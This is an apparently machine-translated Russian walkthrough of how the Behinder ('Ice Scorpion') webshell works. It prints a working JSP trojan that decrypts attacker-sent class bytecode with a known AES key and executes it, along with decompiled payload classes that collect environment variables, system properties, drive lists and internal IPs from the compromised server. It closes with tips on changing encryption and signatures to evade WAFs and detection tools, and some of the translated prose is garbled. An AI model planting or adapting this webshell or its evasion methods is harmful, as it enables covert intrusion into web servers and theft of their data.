Здесь мы кратко узнаем, как работает Ice Skorpion и как обойти некоторые распространенные устройства WAF с помощью шифрования и дешифрования.
Отсюда мы можем знать, что ключ очень важен в процессе.,Ледяной Скорпион по умолчаниюпарольдляrebeyond,Первый 16-значный ключ, полученный после шифрования, — e45e329feb5d925b.
Вы можете получить его с помощью следующего кода
import org.springframework.util.DigestUtils;
import java.security.NoSuchAlgorithmException;
public class GenerateKey {
public static void main(String[] args) throws NoSuchAlgorithmException {
String key = "rebeyond";
System.out.println(getMd5Key(key).substring(0, 16));
}
public static String getMd5Key(String key){
String md5Key = DigestUtils.md5DigestAsHex(key.getBytes());
return md5Key;
}
}
Используемый здесь троян jsp выглядит следующим образом.
Я сделал здесь кое-что, чтобы облегчить обучение. Я сохранил байт-код, отправленный Ice Skorpion, в файл класса, который более интуитивно понятен.
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="java.io.FileOutputStream" %>
<%!
//Пользовательский загрузчик классов
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b)
{
//Вызов метода defineClass родительского класса
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
// Получить данные о клиенте
String line = request.getReader().readLine();
// декодирование данных клиента в base64
byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
// AES-расшифровка
byte[] b1 = c.doFinal(b);
// Вызовите метод defineClass родительского класса, чтобы восстановить входящие данные в объект Class.
//Путь здесь необходимо изменить на путь, который нужно сохранить.
FileOutputStream fo = new FileOutputStream("D:\\Java_Study_Thingsobj2.class");
fo.write(b1);
U u = new U(this.getClass().getClassLoader());
Class clazz = u.g(b1);
// Создать экземпляр объекта для записи вывода в pageContext
// клиент Метод равенства переписывается в классе, на который указывает входящий байт-код, и передается в pageContextобъект через pageContextобъект.
// Вы можете управлять ответом косвенно, записать результат выполнения в ответ и вернуть его клиенту.
clazz.newInstance().equals(pageContext);
// new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
Этот jsp-троян также проще понять. Установите ключ в качестве идентификатора в сеансе, а затем определите, является ли это запросом POST. Если да, сначала получите данные тела запроса клиента, затем сначала декодируйте base64, а затем расшифруйте, чтобы получить. данные байт-кода класса, вызовите метод g для создания экземпляра объекта, а затем вызовите метод равенства.
При нажатии на оболочку в списке оболочек запускается ряд методов JavaFX, которые кратко не описываются в статье.
Дальнейшие действия от doConnect
Utils.getRandomString(randStringLength)используется для создания специальной строки,Будет использован позже
Введите echo и введите сгенерированную строку.
ВходитьUtils.getData
ВходитьParams.getParamedClass
getTransProtocoledClass
Переданное ранее Echo объединяется здесь в net.rebeyond.behinder.payload.java.Echo. Ice Scorpion необходимо запрашивать информацию при первом запуске. Затем каждый раз, когда отправленная полезная нагрузка должна быть скомпилирована, скорость будет увеличиваться. быть очень медленным, поэтому автор использует манипуляции с байт-кодом для отправки полезных данных.
Возвращает байт-код Echo
然后Входить到В методе getParamedClass
Здесь используются следующие операции:
Вернитесь в Utils и введите cryptor.encrypt.
this.getEncodeCls();
Этот метод создает класс с именем test, который содержит метод шифрования по умолчанию для облегчения следующих операций с байт-кодом.
Получите метод Encrypt посредством отражения и используйте этот метод для шифрования полученного ранее байт-кода класса Echo.
Вернемся к классу ShellService.
Далее следует отправить зашифрованный байт-код на сервер для анализа.
Введите doRequestAndParse.
Продолжайте следить
Предыдущий шаг — добавить заголовок и затем отправить пакет данных.
Тогда посмотри на сервер
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package net.ozfvwj.qjxyz;
import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Vlfq {
public static String content;
public static String payloadBody;
private Object Request;
private Object Response;
private Object Session;
public Vlfq() {
content = "";
content = content + "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";
super();
}
public boolean equals(Object obj) {
LinkedHashMap result = new LinkedHashMap();
boolean var13 = false;
Object so;
Method write;
label95: {
try {
var13 = true;
this.fillContext(obj);
result.put("status", "success");
result.put("msg", content);
var13 = false;
break label95;
} catch (Exception var19) {
result.put("msg", var19.getMessage());
result.put("status", "success");
var13 = false;
} finally {
if (var13) {
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
System.out.println("this.buildJson(result, true) " + this.buildJson(result, true));
write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
var16.printStackTrace();
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
System.out.println("this.buildJson(result, true)2 " + this.buildJson(result, true));
write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var17) {
var17.printStackTrace();
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var18) {
var18.printStackTrace();
}
return true;
}
private String buildJson(Map entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = (String)entity.get(key);
if (encode) {
value = this.base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
Метод равенства, вызываемый трояном jsp на стороне сервера. Давайте подробнее рассмотрим, что делает этот шаг.
После декодирования
Нашел это и отправил в код байт-код класса двоичного потока.Параметры контента соответствуют
Затем мы находим метод конструктора в классе двоичного потока.
На самом деле это соответствуетВ методе getParamedClassОперации над методами конструктора
Затем вернитесь в местное
Здесь мы обрабатываем некоторую информацию, возвращаемую сервером, присваивая заголовки ответов ресхедерам, а затем выполняем итерацию.
Создайте карту зашифрованного содержимого и данных в теле и присвойте ее результату. В данных, возвращаемых сервером, нет данных. Вам необходимо обратить на это внимание, а затем сопоставить возвращаемый код состояния и статус, а также. заголовок и заголовок возврата. Наконец, присвойте результат var22 и верните var22.
Затем вернитесь к requestAndParse.
Извлечение информации о данных означает возврат основной информации в пакете, присвоение ее resultObj и возврат resultObj.
Вернуться в ShellService
Выньте заголовок, а затем вручную создайте json-строку статуса и msg. Чтобы потом сравнить с принятой, позже будет выполнена операция расшифровки.
Вернуться к методу doConnect
Определите, совпадает ли возвращаемая строка сообщения с локально сгенерированной.
Вернитесь в MainWindowController и продолжайте генерировать здесь строки случайной длины.
Затем перейдите к getBasicInfo.
Введите parseCommonAction, где используется класс BasicInfo.
ВходитьgetData
Обнаружено, что он аналогичен предыдущему шагу. Он также возвращает байт-код соответствующего класса и шифрует его. Мы не будем продолжать анализ и перейдем непосредственно к doRequestAndParse для отправки запроса.
Классы, полученные сервером
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package sun.wspc;
import java.io.File;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Vmwqtmzls {
public static String whatever;
private Object Request;
private Object Response;
private Object Session;
public Vmwqtmzls() {
whatever = "";
whatever = whatever + "ZsnyxT8sz3FMo5E8XM4RfHFzLq39XYdmZX5WDW7zgQ5fLqUi95uMmfs4TabnTXnDZvbgCfb5dciOhQq13Dy5iGrDyVmY2SN2Yjo2MWzobJYAizHufR0sYn8eyYNSxpb13kL0oMw76OitnJysDHVIVuRuCtWhFa8MIhWGcU36piB9YIB5nqg2VXLmIYi6lUmK90MxtdL3ZShmXLyJjFNgMRyZ6SQ6kddwyYM5WK7RAbRzXkYsT017hB5nAXyACWWkHgIUexmoKlcjNBbj1qEIyj2MqNB2KCa";
super();
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var22 = false;
Object so;
Method write;
label147: {
try {
var22 = true;
this.fillContext(obj);
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>переменные среды:</font><br/>");
Map env = System.getenv();
Iterator var5 = env.keySet().iterator();
while(var5.hasNext()) {
String name = (String)var5.next();
basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
}
basicInfo.append("<br/><font size=2 color=red>JREСвойства системы:</font><br/>");
Properties props = System.getProperties();
Set entrySet = props.entrySet();
Iterator var7 = entrySet.iterator();
while(var7.hasNext()) {
Map.Entry entry = (Map.Entry)var7.next();
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
}
String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
File[] var10 = roots;
int var11 = roots.length;
for(int var12 = 0; var12 < var11; ++var12) {
File f = var10[var12];
driveList = driveList + f.getPath() + ";";
}
String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
Map entity = new HashMap();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
entity.put("arch", System.getProperty("os.arch"));
entity.put("localIp", this.getInnerIp());
result.put("status", "success");
result.put("msg", this.buildJson(entity, true));
var22 = false;
break label147;
} catch (Exception var32) {
var22 = false;
} finally {
if (var22) {
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var30) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var29) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var31) {
}
return true;
}
private String getInnerIp() {
String ips = "";
try {
Enumeration netInterfaces = NetworkInterface.getNetworkInterfaces();
InetAddress ip = null;
while(netInterfaces.hasMoreElements()) {
NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();
Enumeration addresses = netInterface.getInetAddresses();
while(addresses.hasMoreElements()) {
ip = (InetAddress)addresses.nextElement();
if (ip != null && ip instanceof Inet4Address) {
ips = ips + ip.getHostAddress() + " ";
}
}
}
} catch (Exception var6) {
}
ips = ips.replace("127.0.0.1", "").trim();
return ips;
}
private String buildJson(Map entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
Вы можете видеть, что здесь получены переменные среды и информация о системе jar.
То же самое и здесь, обработка возвращенной информации
Разница здесь в том, что возвращаемый объект BasicInfoObj должен быть установлен в окне графического интерфейса.
Прочитав, как подключается Ice Skorpion, я также имею определенное представление о принципе работы Ice Skorpion. И локальная, и серверная стороны выполняют операции шифрования и дешифрования для обхода оборудования обнаружения трафика и некоторых WAF, а также с помощью байт-кода класса динамической загрузки. некоторые распространенные устройства уничтожения веб-шелла. Для последующих обходов вы можете начать с изменения метода шифрования и значений характеристик.